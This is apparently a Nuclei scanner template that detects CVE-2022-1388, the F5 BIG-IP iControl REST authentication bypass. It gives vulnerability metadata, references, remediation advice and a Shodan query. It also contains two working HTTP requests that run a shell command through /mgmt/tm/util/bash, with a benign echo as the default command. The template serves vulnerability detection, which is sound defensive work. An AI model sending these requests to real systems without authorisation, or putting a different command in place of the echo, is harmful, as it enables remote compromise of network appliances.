id: CVE-2022-1388

info:
  name: F5 BIG-IP iControl - REST Auth Bypass RCE
  author: dwisiswant0,Ph33r
  severity: critical
  description: |
    F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.
  remediation: |
    Apply the necessary security patches or updates provided by F5 Networks to mitigate this vulnerability.
  reference:
    - https://twitter.com/GossiTheDog/status/1523566937414193153
    - https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
    - https://support.f5.com/csp/article/K23605346
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1388
    cwe-id: CWE-306
    epss-score: 0.97139
    epss-percentile: 0.99716
    cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: f5
    product: big-ip_access_policy_manager
    shodan-query: http.title:"BIG-IP®-+Redirect" +"Server"
  tags: f5,bigip,cve,cve2022,rce,mirai,kev
variables:
  auth: "admin:"
  cmd: "echo CVE-2022-1388 | rev"

http:
  - raw:
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: {{Hostname}}
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json

        {
             "command": "run",
             "utilCmdArgs": "-c '{{cmd}}'"
        }
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: localhost
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json

        {
             "command": "run",
             "utilCmdArgs": "-c '{{cmd}}'"
        }

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "commandResult"
          - "8831-2202-EVC"
        condition: and